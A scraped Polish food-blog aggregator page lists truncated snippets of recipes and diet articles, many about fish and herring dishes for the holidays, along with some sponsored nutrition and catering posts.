tort surf and turf oznacza, że przepisie obok owoców morza w tym przypadku krewetek jest też mięso. Ja wybrałam boczek do nadzienia oraz dojrzewającą szynkę do dekoracji. Uwielbiam połączenie ryb i owoców morza z wieprzowiną. Często podaję smażoną rybę z chrupiącym boczkiem . Zainspirowana moimi wcześniejszymi przepisami na surf and turf, przyrządziłam jedno nadzienie ze smażonym boczkiem, a drugie z krewetkami

codojedzenia
Rolada kokosowa bez pieczenia 55

Rolada kokosowa bez pieczenia Rolada kokosowa to wyjątkowy pyszny deser, który świetnie smakuje i pięknie wygląda. Taka rolada sprawdzi się w czasie wszelkich świąt, a także

Korniszonki
Torcik szpinakowy z łososiem 55

Torcik szpinakowy z wędzonym łososiem i serkiem śniadaniowym typu philadelphia Torcik szpinakowy z wędzonym łososiem i kremowym serkiem to niezwykle efektowne danie, które możemy podać jako

Korniszonki
Babeczki sushi 50

rodzaj sushi to coś zaskakująco pysznego. Będzie idealny jako przekąska na imprezę, a do tego smakować będzie również tym, którzy boją się zjadać surowe ryby w klasycznym sushi. Łosoś tu jest zamarynowany w prostej marynacie i upieczony krótko w babeczce. Dzięki temu ma fantastyczny smak! @import url(https://static.mailerlite.com/assets/plugins/groot/modules/includes/groot_fonts/import.css?version=1643283); .ml-form-embedSubmitLoad{display:inline-block;width:20px;height:20px(...)pierwszej kolejności musisz zrobić ryż do sushi, do czego potrzebujesz garnka, sitka i właściwie tyle. Przygotowanie ryżu  – opisuję dokładnie ten proces we wpisie  ryż do sushi. Łosoś – rybę pokrój w kostkę o boku 1-1,5 cm. Do miseczki wlej sos sojowy, ocet ryżowy i sos teriyaki i wymieszaj. Zalewę połącz z pokrojonym łososiem i odstaw

nietylkopasta.pl
Jak zdrowo się odżywiać po 40-tce? 48

diety wyeliminować smalec, czerwone mięso, ale i masło, a także ser żółty i tłuste mleko. Należy je zastąpić produktami, które są bogate w tłuszcze nienasycone. Zaliczamy do nich ryby, awokado, oliwki, ale i oleje roślinne czy orzechy. Mleko krowie należy zastąpić roślinnym, a jaja można zastąpić tapioką bądź zredukować ilość spożywanych jaj do 2 sztuk na tydzień. Kolejnym niebezpiecznym składnikiem(...)konieczności stosowania leków. Tutaj należy zastosować małe zmiany w sposobie odżywiania się. Należy wyeliminować tłuste mięso i zastąpić je chudym. Do tego należy zwiększyć ilość spożywanych ryb. W diecie powinna znaleźć się duża ilość warzyw. Zaleca się też jedzenie owoców oraz nasion roślin strączkowych. Białe pieczywo trzeba zastąpić pełnoziarnistym, podobnie jak zwykły makaron makaronem pełnoziarnistym. *artykuł sponsorowany The post

Słodkie okruszki
Zdrowa, świąteczna dieta. Poznaj 10 kluczowych zasad, jak nie przytyć w święta :) 62

wnoszą do naszego organizmu coś dobrego, a nie są tylko tzw. pustymi kaloriami. A przez najbliższych kilka dni możliwości bogato odżywczego pożywienia będzie na naszych stołach mnóstwo! Przeróżne rodzaje ryb, sałatki, kapusta… naprawdę będzie w czym wybierać! 2. Zadbaj o niski lub średni ładunek glikemiczny posiłków Dobierając odpowiednio składniki mamy możliwość skomponowania tak posiłku, aby uniknąć gwałtownych wahań poziomu glukozy(...)krwi. To wcale nie będzie trudne do osiągnięcia. Przykładowo tradycyjna ryba będzie bezpieczna dla osób z zaburzeniami glikemii, sałatki także. Genialny poradnik o samodzielnym komponowaniu posiłków o niskim indeksie glikemicznym jest dołączony do każdej diety gotowej z mojego sklepu . A więcej na temat diety o niskim IG i jej korzyściach dla zdrowia przeczytacie tutaj . 3. Podejdź mądrze do tematu słodkości

Natka Pietruszki
Groch na gęsto – kuchnia podkarpacka 44

Groch na gęsto – kuchnia podkarpacka Lokalizacja: Brzyska, gmina Brzyska, powiat jasielski Do wigilijnej ryby zazwyczaj podaje się ziemniaki i duszoną kapustą. Jednak w niektórych podkarpackich domach z ziemniaków rezygnuje się w ogóle lub zastępuje się je grochem. W Brzyskach jest to groch ugotowany z odrobiną marchewki, którego smak podkreśla spora ilość masła i usmażona na nim cebula z czosnkiem(...)prosty, ale smaczny dodatek, który dobrze komponuje się zarówno z rybą, jak i kapustą. Trzeba go tylko dobrze doprawić pieprzem i zadbać, by nie był zbyt suchy. Przepis Koła Gospodyń Wiejskich z Brzysk pochodzi z publikacji Stowarzyszenia LGD „Liwocz”. Groch na gęsto – kuchnia podkarpacka Składniki: 500 g łuskanego grochu 200 g masła 2 ząbki czosnku 1 marchew 1 cebula sól

Trzeci talerz
ŚLEDZIE W SOSIE PAPRYKOWYM (keto, LCHF, bez laktozy, redukcja) 67

odstawić do całkowitego wystudzenia. Wymoczone płaty śledziowe wyjąć z wody,osuszyć papierowym ręcznikiem i pokroić na mniejsze kawałki. Następnie wystudzony sos połączyć ze śledziami i dokładnie wymieszać. Tak przygotowaną rybę odstawić do przegryzienia się i lepszego połączenia smaków. — BTW całości: 580 g,862 kcal, B 54 g, T 62 g, W 18 g. Dzieląc na 2 równe porcje

Ola la LCHF
ŚLEDZIE W SOSIE MUSZTARDOWYM (keto, bez glutenu, redukcja) 105

mielony Przygotowanie Śledzie opłukać a następnie włożyć do miski, zalać zimna wodą i zostawić najlepiej na całą noc. Wymoczone płaty śledziowe wyjąć z wody i osuszyć ręcznikiem papierowym. Następnie ryby pokroić na mniejsze kawałki. Cebule obrać i pokroić w drobną kostkę. Przełożyć do miseczki, zalać wrzątkiem i zostawić na 2-3 minuty. Następnie odcedzić na sitku i zostawić do całkowitego

Ola la LCHF
Śledzie w śmietanie z pieczoną gruszką 49

wiecie, ja tam lubię kogoś zaskakiwać, nie tylko smakiem, ale też teksturami. Tutaj aksamitne połączenie śmietany i pieczonej gruszki z rybą sprawdzi się i na bank zaskoczy śledziowych smakoszy.  Szczególnie polecam na święta.           Składniki:   400 g matiasów 400 g śmietanki 36% (gęstej) 2 duże gruszki 100 g rodzynków     Przygotowanie(...)zależności od stopnia solanki, śledzie moczymy kilkukrotnie zmieniając wodę. Ja za zbyt słonymi nie przepadam, więc moczyłem około 1 godziny. Rybę kroimy w poprzeczne paski (około 1 cm). Gruszki obieramy, kroimy na ćwiartki, pieczemy 20 minut w 200°C. Przekładamy do wysokiego naczynia, miksujemy ze śmietaną. Dodajemy uprzednio namoczone i odcedzone, rodzynki. Całość mieszamy. Przekładamy do słoików i odstawiamy

R'n'G Kitchen
Catering dietetyczny w Bydgoszczy – jak wybrać najlepszy? 52

idealnie dopasowuje się do nich poprzez różnorodność diet i ich wariantów . Najlepsze firmy oferujące catering w Bydgoszczy przygotowują nawet kilkanaście diet – menu standardowe uzupełniają diety: wegetariańska w wariancie z rybami lub bez ryb, wegańska, niskokaloryczna czy antycellulitowa oraz sportowa i ketogeniczna. W dobrze skrojonej ofercie nie może też zabraknąć menu dla diabetyka oraz dla osób borykających się z nietolerancją laktozy

Słodkie okruszki
Zdrowa sałatka z kwasami omega 116

innymi komórkami. Kwas alfa-linolenowy przyczynia się do utrzymywania prawidłowego poziomu cholesterolu we krwi. Olej Lniany BOFLAX® może być alternatywą dla ludzi, którzy nie stosują w swojej diecie ryb z powodu innych preferencji kulinarnych (np. dla wegan). Metabolitami kwasu alfa-linolenowego w organizmie są aktywne, występujące również w tłuszczach ryb kwasy EPA i DHA. Zawarta w oleju witamina E zwana

Dorota Smakuje
Wykorzystanie wina w kuchni – jak dobrać je do potraw? 46

białe oraz czerwone . Jednak barwa nie jest ich jedyną różnicą. Pierwsze z nich są nieco lżejsze, dzięki czemu wspaniale komponują się z delikatniejszymi potrawami. Zaliczyć można do nich np. ryby. Z kolei wino czerwone świetnie skomponuje się z mięsami takimi jak np. wieprzowina czy sarnina.  Dodatkowo wina różnią się aromatami. Ich specyfika zależy głównie od szczepu, z jakiego trunek(...)względu umiejętne jego dobranie do potraw jest niezwykle ważną kwestią. Nie wszystkie rodzaje win będą bowiem pasować do każdego dania. Jak już wyżej wspomnieliśmy, wina białe doskonale pasują do ryb i delikatnych mięs takich jak drób czy cielęcina. Świetnie skomponują się również z owocami – głównie cytrusami. Popularnym połączeniem są również grzyby duszone w białym winie. Ten rodzaj wina pasuje

Słodkie okruszki
„Śledziowa” sałatka z burakami na Święta – wegańska sałatka z boczniakami 64

czego możesz się spodziewać. Jakie przepisy znajdziesz w eBooku? Zupa grzybowa z uszkami Zupa a’la rybna z lanymi kluskami Pierogi z tofu i pieczarkami Kapuśniaczki z białą fasolą Ryba po grecku z serca palmy Tofu-ryba w galarecie Sałatka a’la śledziowa z buraczkami Rolada z suszonymi śliwkami i orzechami Pasztet pieczony z żurawiną Drożdżowa rolada makowa Korzenny sernik

Via Gusto
Surówka z czerwonej kapusty 56

Całkiem niedawno skroiłam surówkę z białej kapusty i jarmużu . Latem uwielbiam surówki z młodej kapusty . Czerwona kapusta zawsze kojarzy mi się z zimą. Uwielbiam czerwone coleslaw do mięsa lub ryby. Oprócz kapusty dodałam do surówki por i jabłko. Wszystko wymieszałam z domowym majonezem . Zawsze miksuję majonez. Uwielbiam majonez do surówek. Taka surówka to prawdziwa bomba witaminowa. Znajduje się w niej(...)również witamina D. Jak za pewne wiecie jaja i ryby zawierają dużo witaminy D. Dlatego pozwoliłam sobie podczas miksowania majonezu dodać witaminę D w kroplach. Wiadomo o tej porze bez słońca nasze zapasy witaminy D szybko się kurczą. Co prawda w tym roku przebywałam na słońcu dość dużo, ale nigdy nie wiadomo. Suplementację witaminą D zaleca się przede wszystkim małym

codojedzenia
Śledzie wiejskie z koperkiem 56

adsbygoogle = window.adsbygoogle || []).push({}); Przepyszne śledzie wiejskie. Przygotowane wg. rodzinnej tradycji. Stanowią świetną przekąskę dla smakoszy ryb i nie tylko. Smaczne i aromatyczne. U mnie w domu uwielbiamy śledzie w każdej wersji, ale te szczególnie przypadły nam do gustu, dlatego przygotowuję je nie tylko na święta, ale także przez cały rok. Warte wypróbowania. (adsbygoogle = window.adsbygoogle || []).push({}); Śledzie wiejskie z koperkiem(...)Śledzie płuczemy pod bieżącą wodą. Przekładamy do pojemnika i zalewamy zimną wodą. Moczymy śledzie z nadmiaru soli. Aby przyśpieszyć należy co jakiś czas zmieniać wodę. Co jakiś czas smakujemy rybę, czy taka słoność odpowiada. Następnie suszymy śledzie ręczniczkiem kuchennym. Podwójne filety dzielimy na pojedyncze. Filety można pokroić, ale ja zostawiam całe. Następnie polewamy octem i sokiem z cytryny. Cebulkę kroimy

Olcia gotuje!
Wegańskie pesto z rukolą i szpinakiem 71

dzisiejszego posta… do czego użyję pesto? Jeszcze nie wiem. Siądę sobie dziś wieczorem na spokojnie i coś wymyślę. Bo klasycznie świetnie sprawdzi się do makaronu, kasz, do drobiu, ryb, do klusek, sałatek, itd. Sałatki ostatnio częściej za nami chodzą, może pójdę jednak w tę stronę. Na dziś to tyle. Pojawię się tutaj znowu pojutrze. Ciao. Jeżeli ktoś(...)tych używam sporo), świeże zioła, kaszę jaglaną (jest bardzo wskazana) i gryczaną (najlepiej niepaloną), soczewicę, ciecierzycę, oleje tłoczone na zimno (oliwa z oliwek, olej rzepakowy, z wiesiołka, lniany, kokosowy), ryby, drób, pestki dyni, niektóre orzechy, sezam, makarony żytnie, orkiszowe (od czasu do czasu), brązowy ryż, mąkę żytnią. Wskazane jest używanie przypraw jak: curry, kurkuma, imbir. Z owoców można jeść grejpfruta

Kardamonovy
Jakie sprzęty są najbardziej przydatne w profesjonalnej gastronomii? 60

maszyny . Są to wilki do mięsa , nazywane tak, gdyż często mają charakterystyczny kształt oparty na 4 nogach. W wilku mielić można nie tylko mięso, ale także gotowane warzywa i ryby. Takie sprzęty osiągają wydajność na poziomie kilkuset kilogramów surowca na godzinę. Kuter do mieszania składników Chociaż kojarzy się z rybami, to w kutrze obrabiać można również mięso i warzywa. Urządzenie

ProstePesto.pl
Dieta ketogeniczna – na czym polega? 54

też niezbędne do produkcji hormonów i komórek układu odpornościowego. 1 gram białka dostarcza 4 kcal energii i znajduje się przede wszystkim w produktach odzwierzęcych m.in. w jajach, produktach mlecznych, rybach oraz mięsie, gdzie znajdziemy białko pełnowartościowe. Niepełnowartościowe białko jest obecne z kolei w żywności roślinnej, w roślinnych produktach zbożowych, nasionach strączków, orzechach. Węglowodany – to makroskładniki stanowiące źródło energii dla organizmu(...)ketogeniczna – co można jeść? Dieta ketogeniczna – na czym polega, to już wiemy. Nie wiemy natomiast co można spożywać w trakcie jej trwania. Przede wszystkim warto postawić na mięsa, tłuste ryby, oliwę z oliwek, olej rzepakowy, awokado, wysokotłuszczowy nabiał i jaja. Polecane są też różnorodne orzechy, nasiona i pestki, a także niskowęglowodanowe warzywa.  Należy unikać chleba, makaronów, kasz i ryżu

Cynamonowe szczęście
Jak powinna wyglądać dieta w chorobach wątroby? Czy istnieje jedna dieta idealna? Plus przykładowe posiłki z bloga. 37

około 100-120g/dobę). Białko stymuluje proces odnowy komórek wątrobowych i sprzyja uzupełnianiu niedoborów białek tkankowych, ponad połowa białka powinna być pochodzenia zwierzęcego, głównie z produktów mlecznych i ryb, wskazane są tłuszcze łatwo strawne (z mleka, śmietanki, masła, olejów roślinnych, oliwy z oliwek), tłuszcze mogą stanowić 30-35% wartości energetycznej diety; warto mieć na uwadze, że prawie połowa tłuszczu(...)jest ukryta i zawarta w produktach białkowych: serach, mięsie, rybach, jajach , rekomenduje się tłuszcz mleczny ze względu na zawartość w nim MCT (średniołańcuchowe kwasy tłuszczowe), z diety należy wykluczyć tłuszcze zwierzęce o wysokim punkcie topnienia, takie jak: smalec, słoninę, łój, zaleca się podawanie tłuszczu do gotowych potraw na surowo (np. polanie zupy czy sałatki oliwą z oliwek), węglowodany powinny stanowić

Natka Pietruszki
Jordania – przewodnik kulinarny 47

Marokiem tadżin, kibbe jak w Libanie, zupę z soczewicy i mnóstwo sałatek. Najtańsze są dania z kurczakiem, ale popularna jest też baranina i koźlina. Nad morzem je się oczywiście ryby i owoce morza a na pustyni serki typu bryndza i inne przetwory z mleka. Na ulicy kupimy pyszne wyciskane soki np. z granatu i pomarańczy, oraz typowy dla Jordanii miks(...)trzeba spróbować: lemonana — sok z cytryny i mięty z cukrem herbatki ziołowe w pustynnych kawiarniach kawa z tygielka sałatki ze świeżych warzyw lokalne dania beduińskie typu zarb lub mansaf ryby i owoce morza z grilla lody arabskie (najlepiej kulkowe, a nie ze sklepu) z mastyksem Co przywieźć z Jordanii? Typowe pamiątki to: słodycze i orzechy przyprawy typu sumak czy zaatar

Ugotowane pozamiatane
Catering dietetyczny bez laktozy 54

nadwrażliwością na ten składnik. Warto również wykorzystać alternatywy roślinne zastępujące tradycyjny nabiał. W diecie bez laktozy, możesz bez obaw spożywać inne grupy żywności, takie jak warzywa, owoce, strączki, ryby, ryż, kasze, mięso, ryby lub oleje roślinne. Wystarczy zwrócić uwagę na skład produktu lub wybrać catering dietetyczny Otwock i cieszyć się dopasowanym jedzeniem dostarczonym prosto pod drzwi. Artykuł Catering dietetyczny

FoodMagazine.pl - Przepisy kulinarne
Szarlotka sypana z kruchą skorupką. Najlepsza Leniwa Żona 64

Szarlotka sypana "Leniwa żona" z mega kruchą skorupką bez zarabiania ciasta Ta szarlotka nazywa się “Leniwa Żona” i naprawdę jej przygotowanie nie wymaga zbyt wiele pracy

Korniszonki
RECENZJA BLENDERA 4SWISS NB 102 x JJ. CZTERY SUPER POMYSŁY NA ZDROWE POSIŁKI! 68

KAWY AROMA A10 smyk200 rabat dla czytelników: - 200zł Frytkownica powietrzna,  kod smyk50, rabat - 50zł PRZEPIS NA SOS Z OPIEKANYCH WE FRYTKOWNICY POWIETRZNEJ WARZYW - IDELANY DO MAKARONU, MIĘS LUB RYB. SKŁADNIKI: - 2-3 pomidory - 1 duża papryka - 1/ 2 główki czosnku - sól, pieprz, suszone pomidory, czosnek niedźwiedzi, oliwa do smaku Wykonanie krok po kroku obejrzysz w formie filmu na moim(...)rozgrzeje Cię w chłodniejsze dni, idealna na dzieciaków, jak i dorosłych, możesz ją modyfikować na wiele sposobów i korzystać z sezonowych warzyw, wzbogacać o dowolne źródła białka tj. mięso, ryby, jaja, tofu czy strączki, lub podawac z grzanką z chleba. SKŁADNIKI : - sezonowe warzywa np. dynia muskat lub hokkaido, marchew, czosnek, pomidor lub papryka, czosnek, który wzbogaci smak zupy i zadba

SMYKWKUCHNI
Jak zdrowo się odżywiać pracując na trzy zmiany? 57

jasna niezwykle proste. Wystarczy tylko wyeliminować jedzenie śmieciowe i włączyć do diety duże ilości warzyw. Porcja obiadowa powinna składać się z ponad 75% warzyw. Pozostałymi składnikami może być porcja ryby i ryżu czy kaszy. Takie danie na pewno jest zdrowe, ale i smaczne. Do przygotowywania posiłków można też wykorzystać parowar. To szybkie i rzeczywiście dobre rozwiązanie i spora oszczędność czasu(...)zamówienia czy to w Poznaniu czy Warszawie cateringu dietetycznego na cały dzień. Ewentualnie przygotowujecie dania na zapas, choćby na bazie gotowych mieszanek sałat, mrożonych warzyw i ekologicznego mięsa czy ryb. Skoro to już jasne, to wystarczy to tak zorganizować. Po powrocie z pracy jecie zdrowe i lekkie śniadanie, następnie pół godziny odpoczywacie po nim i idziecie spać. Potem wstajecie

Via Gusto
Śledzie po kaszubsku 50

Śledź jest jedną z najpopularniejszych ryb w Polsce. Zaraz obok karpia pojawia się w wielu domach podczas świąt Bożego Narodzenia. Dziś zapraszam po przepis na śledzie po kaszubsku . Śledzie po kaszubsku to kawałki ryby w sosie słodko-kwaśnym z dodatkiem suszonych śliwek oraz cebuli. Dość ciekawe, a przy tym bardzo smaczne połączenie, które myślę, że warto wypróbować. Śledzie po kaszubsku

Gotuj z Prezesem
Roladki z tortilli z makrelą 61

mała czerwona cebula 2 ogórki konserwowe 1 łyżka majonezu 2 łyżki przecieru pomidorowego sól, pieprz do smaku (adsbygoogle = window.adsbygoogle || []).push({}); Przygotowanie: 1. Z wędzonej makreli usunąć ości, zdjąć skórkę. Rybę przełożyć do miseczki i rozdrobnić widelcem. 2. Cebulę obrać, drobno posiekać, dodać do ryby. 3. Ogórki konserwowe pokroić w kosteczkę, przełożyć do miseczki. 4. Dodać majonez oraz przecier pomidorowy. Doprawić

Gotuj z Prezesem
10 najlepszych przepisów na makaron 57

składników i mamy bardzo smaczny posiłek. Uważam, że ten przepis jest wart zapamiętania. 10. Makaron z łososiem wędzonym. Korzystamy tutaj z łososia wędzonego, więc pomijamy proces obróbki termicznej ryby. Mamy tu również szpinak i kremowy sos śmietanowo – cytrynowy, który moim zdaniem fajnie podkreśla smak dania i idealnie pasuje do ryby.  Makaron z łososiem wędzonym  to pyszny

Gotuj z Prezesem
LOW CARB po prostu. Opis mojej nowej diety gotowej. 40

powinna obfitować w tłuszcze jedno i wielonienasycone, a udział nasyconych kwasów tłuszczowych powinien być mniejszy. W mojej diecie gotowej oczywiście znajdziecie takie produkty, jak: oliwa z oliwek, oliwki, tłuste ryby, siemię lniane, orzechy i nasiona , awokado . Oprócz produktów bogatych w tłuszcz jest też pełnowartościowe białko, co razem daje nam jadłospis o wysokim indeksie sytości . Gwarantuję Wam, że pomimo tylko trzech(...)węglowodanach, tabelę motywacyjną, tabelę do pomiarów. Prawdy o diecie low carb, o których mało się mówi Dobrze skomponowana i odżywcza dieta low carb jest dość droga. Takie produkty, jak: ryby, oliwa z oliwek, orzechy, nasiona, warzywa i owoce nie należą do najtańszych, ale bez wątpienia są niezwykle istotne dla zachowania zdrowia. Zawsze powtarzam, że jeśli nie wydamy pieniędzy na dobrej

Natka Pietruszki
Kurki w sosie śmietanowym z czosnkiem i pomidorami 69

przepisów na sosy , które mogą Ci się spodobać: Sos tysiąca wysp Sos jagodowy Sosy do maczania sajgonek Grecki sos sałatkowy Sos Dijon do kurczaka Sos korniszonowy do gotowanych ryb i mięs Sos ogórkowy do kotlecików ziemniaczanych Sos koperkowy Sos pieczarkowy ze śmietaną Sos pomidorowy Sos pietruszkowy do ryby Kurki w sosie śmietanowym. Kurki w sosie śmietanowym

Moja Książka Kucharska
Sos z kurek przepis 108

wypróbowanych przepisów na sosy , które mogą Ci się spodobać: Sos tysiąca wysp Sos jagodowy Sosy do maczania sajgonek Grecki sos sałatkowy Sos Dijon do kurczaka Sos korniszonowy do gotowanych ryb i mięs Sos ogórkowy do kotlecików ziemniaczanych Sos koperkowy Sos pieczarkowy ze śmietaną Sos pomidorowy Sos pietruszkowy do ryby Miłego gotowania! Sos z kurek

Moja Książka Kucharska
Sałatki na przyjęcie – 10 imprezowych hitów! 213

stole.   Pyszna sałatka grillowa Przepis tutaj (KLIK) Aromatyczna, świeża, pełna zdrowych składników, ziół i przypraw. Idealna sałatka do grilla. Świetnie pasuje jako dodatek zarówno do mięs, jak i ryb z rusztu. Polecam!   Sałatka słonecznik Przepis tutaj (KLIK) Prosta, szybka, efektowna i bardzo smaczna sałatka makaronowa, która swoim wyglądem pięknie przyozdobi nasz imprezowy stół.   Sałatka warstwowa z serkiem(...)wędzonym Przepis tutaj (KLIK) Idealna do grilla! Świetnie sprawdzi się jako dodatek do mięs i ryb z rusztu. Pyszna, zdrowa i kolorowa!   Sałatka z tortellini Przepis tutaj (KLIK) Kolorowa i bardzo smaczna sałatka z makaronem tortellini, szynką, warzywami i pysznym sosem. Polecam!     POLECAM TAKŻE: Top 10 najlepszych ciast na przyjęcie! KLIKNIJ TUTAJ CIASTA BEZ PIECZENIA – NAJLEPSZE PRZEPISY

Blog z Apetytem
Poznaj zasady diety cukrzycowej 68

pozbawiona smaku. Diabetycy powinni wprowadzić do swojego jadłospisu przede wszystkim warzywa i mało słodkie owoce jak np. cytrusy. Obowiązkowo należy także spożywać produkty o wysokiej zawartości białka jak, chociażby ryby, niskotłuszczowe produkty mleczne, czy chude mięsa. Zaleca się również wybieranie produktów zbożowych. Tak naprawdę, diabetycy mogą zdecydować się na specjalnie przeznaczone dla nich słodkości, które można dostać w sklepie(...)diety; unikaniu nadmiaru soli- najlepiej nie dosalać posiłków, by nie przekroczyć 5 gramów spożywanej soli dziennie; wybieraniu zdrowych tłuszczy-  raz lub dwa w tygodniu warto zjeść tłustą rybę, gdyż są one cennym źródłem kwasów omega-3; jedzeniu posiłków odpowiednio zbilansowanych- niezbędna jest odpowiednia podaż białka, a także niewielkie ilości węglowodanów w diecie cukrzycowej; piciu dużej ilości wody- usprawnia

Kuchcik gotuje
Ekologiczne sztućce i słomki do napojów. Na co postawić? 66

jednorazowe akcesoria, powinno się jednocześnie zwracać uwagę na ekologię. Jak połączyć wygodę i ochronę środowiska? 1. Papierowe słomki do napojów 2. Drewniane sztućce jednorazowe W barach szybkiej obsługi, smażalniach ryb lub kawiarniach serwujących gofry najlepiej sprawdzają się jednorazowe talerzyki, kubki i sztućce. Dzięki nim posiłki są wydawane szybciej, a klienci mogą od razu zabrać je na wynos. Dodatkowo wśród jednorazowych(...)drinków, jak i coca-coli, soków owocowych lub wody gazowanej i niegazowanej. Sprawdź również ofertę https://www.opakowanianawynos.pl/218-kubki-pet-koktajlowe-shake Drewniane sztućce jednorazowe Sztućce jednorazowe w niedrogich lokalach gastronomicznych, smażalniach ryb i barach szybkiej obsługi są wykorzystywane powszechnie. Przez lata najczęściej spotykane w nich były sztućce plastikowe, jednak obecnie wypierają je sztućce drewniane. Dzięki nim można podawać posiłki bez używania metalowych sztućców

kruche babeczki
Marskość wątroby – jaką dietę zastosować? Plus przykładowe posiłki. 44

posiłków. Odpowiednia podaż z dietą BCAA nie tylko poprawia wchłanianie i tolerancję białka, ale także m.in. uwrażliwia komórki organizmu na działanie insuliny. Pokarmowymi źródłami BCAA są: mleko, wołowina, drób, ryby, jaja, soja, fasola, pełnoziarniste produkty zbożowe, brązowy ryż, migdały, orzechy brazylijskie, nasiona dyni, fasola lima, groch, orzechy nerkowca, soczewica i kukurydza. Bardzo ważna jest odpowiednia podaż tłuszczów (20-25% dziennie(...)najbardziej wartościowe są tłuszcze roślinne (olej z oliwek, olej rzepakowy BIO z kontrolowanych upraw, olej z awokado ) i z ryb. Natomiast unikać należy tłuszczów pochodzących z czerwonego mięsa czy żywności wysoko przetworzonej, jak fast food. Jedynie u pacjentów z ciężką niewydolnością wątroby i cholestazą, gdzie pojawiają się dolegliwości w postaci tzw. stolców tłuszczowych należy ograniczyć podaż tradycyjnych tłuszczów i rozważyć

Natka Pietruszki
Hiszpania winami stoi 68

Portugalii, a zwłaszcza w regionie Rias Baixas w Galicji. Dobrej jakości Albariño jest kwaskowate i znajdziemy w nim nuty brzoskwini, melona oraz cytrusów. Niezastąpione z owocami morza czy grillowaną rybą.  2. Godello  Podobnie jak Albariño, Godello to rodzaj winogron uprawianych w Galicji, a konkretnie na niewielkim obszarze winiarskim Valdeorras. Mimo że przez wiele lat trunek ten pozostawał praktycznie(...)aktualnie przeżywa swoje odrodzenie. Wina z rodzaju Godello są wytrawne z wyczuwalną nutą mineralną i aromatami cytrusów, jabłek lub melona. Doskonałe jako dodatek do duszonej ośmiornicy czy grillowanej, tłustej ryby.  3. Biała Rioja  Tak, wina z Rioja są zazwyczaj czerwone, ale wiele osób nie zdaje sobie sprawy, że region ten produkuje również niezwykle smaczne, białe wina, znane jako

Ugotowane pozamiatane
Łosoś ze szparagami 71

łososia, pęczek zielonych szparagów, dowolne kiełki, olej rzepakowy do posmarowania naczynia, sól i pieprz do smaku. 1. Naczynie żaroodporne posmaruj olejem. 2. Łososia dopraw solą i pieprzem. 3. Kawałki ryby ułóż obok siebie w naczyniu. 4. Szparagi umyj, odłam zdrewniałe końcówki i połóż na rybie. 5. Zapiekaj w piekarniku nagrzanym do 200 stopni C przez 20 minut. 6. Gotowego łososia

Z notatnika dietetyka
Sernik miodowy świąteczny i coś mojego pióra – “Przedświąteczny dzień” 46

osób sprawia, że wszystko w te dni jest wyjątkowe. Dlaczego nie docenia tego, co może sobie dać z rodziną co roku o tej porze? Ona może i zje wigilijną rybę, może i poszuka z rodzeństwem na niebie pierwszej gwiazdki, ale z pewnością ich sztuczna, stara choinka nie zapachnie lasem, nie znajdzie pod nią niczego dla siebie. Po przeciwnej stronie stołu(...)karpia. Wieczorem będzie musiał pozbawić tchnienia biedne stworzenie pływające w wannie, aby nazajutrz jego żona mogła z dumą zaprezentować z niego danie na pozłacanym półmisku… Z wieńcem i rybą musi zajrzeć jeszcze do jubilera. Jeżeli znajomy sprzedawca nie sprowadził mu tego naszyjnika, o którym tak marzyła jego wybranka, ze spokojem będzie się mógł pożegnać do sylwestra. Bardzo dziękuje za takie

Raj dla Podniebienia
Dieta lekkostrawna – dla kogo? 69

kuskus, biały ryż, drobne makarony; mleko i produkty mleczne – zsiadłe mleko, kefir, jogurt naturalny, maślanka, mleko słodkie; jaja – na miękko, jajecznica lub omlet na parze; mięso i ryby – m.in. chuda wołowina, cielęcina, królik, kurczak, indyk oraz dorsz, pstrąg, flądra i sandacz; tłuszcze w ograniczonych ilościach – masło, słodka śmietanka, oleje roślinne podawane na zimno; warzywa – gotowane ziemniaki lub ziemniaki(...)lekkostrawnej? Do listy produktów zakazanych można zaliczyć, m.in.: produkty zbożowe – pieczywo pełnoziarniste, razowe, żytnie na zakwasie, grube kasze, grube płatki zbożowe; jaja – smażone, na twardo; mięso i ryby – tłusta dziczyzna, wieprzowina, wołowina oraz łosoś; tłuszcze – używane do smażenia; warzywa – wszystkie, które nie są dozwolone, w tym nasiona roślin strączkowych, cebula, czosnek, kapusta; owoce – wszystkie

Słodkie okruszki
Jak zdrowe jedzenie wpływa na nasze samopoczucie? 90

pewnością pomoże nam w tym bogata wiedza zawarta na Fit2Fit . Do wytwarzania serotoniny, popularnie zwanej hormonem szczęścia, niezbędne jest spożywanie produktów bogatych w tryptofan. Do nich zaliczamy: ryby, produkty pełnoziarniste, banany, nasiona dyni i słonecznika, awokado, jajka oraz suszone daktyle. Uzupełnij niedobory pokarmowe Do pełni szczęścia potrzeba jednak coś więcej. Nasze usilne starania mogą bowiem zniweczyć niedobory pokarmowe. Ludzki organizm(...)strączkowe. Równie ważne dla ludzkiego ciała są nienasycone kwasy tłuszczowe z grupy omega-3, których zadaniem jest regulacja układu nerwowego. W celu uzupełnienia ich poziomu, powinniśmy częściej sięgać po ryby morskie, siemię lniane, nasiona, orzechy oraz owoce morza. Kolejną pozycją na „liście szczęścia” są witaminy z grupy B. Nie sposób przecenić ich pozytywnego wpływu na zdrowie. Nie tylko

Zdrowy Styl Joanny
Gazpacho - andaluzyjski chłodnik idealny na upały 77

Gazpacho — chłodnik z pomidorów, ogórków i papryki rodem z Andaluzji Gazpacho to kwintesencja Andaluzji — pomidorowy chłodnik wyrazisty w smaku, aksamitnie gładki, lekki, ale z charakterem. Ta

Korniszonki
Ryba zapiekana z warzywami 65

Ryba zapiekana z warzywami Tak przygotowanej zapiekanki z rybą jeszcze nie jedliście. Nie masz pomysłu na piątkowy obiad, ten przepis jest właśnie dla Ciebie. Filety rybne zapiekane z warzywami, idealne połącznie, danie rozpływa się w ustach. Spróbuj i przekonaj się. czytaj

Kulinarna Chwila
Jak dbać o nasze stawy? 66

Dieta na zdrowe stawy musi być odpowiednio zbilansowana. W takiej diecie nie powinno zabraknąć produktów bogatych w nienasycone tłuszcze OMEGA-3 i 6. Do tych produktów można zaliczyć, m.in. ryby, orzechy, migdały czy olej lniany. W diecie nie powinno też zabraknąć odpowiedniej dawki warzyw i owoców, które są pełne antyoksydantów. Wiele źródeł podaje też, że dobrze wprowadzić do swojej diety(...)wątróbkę. Dlaczego? Zawarty w niej koenzym Q10 hamuje postęp choroby zwyrodnieniowej stawów. Nie zapominajmy też o mleku i przetworach mlecznych, które są bogate w wapń. Dobrej jakości mięso i ryby będą doskonałym źródłem białka, które jest niezbędne do prawidłowego wzrostu i siły mięśni. Odpowiednio dobrane witaminy i suplementy Dobrze dobrane witaminy i suplementy na stawy mogą poprawić ich stan

Słodkie okruszki
Młode ziemniaki z burakiem liściowym 54

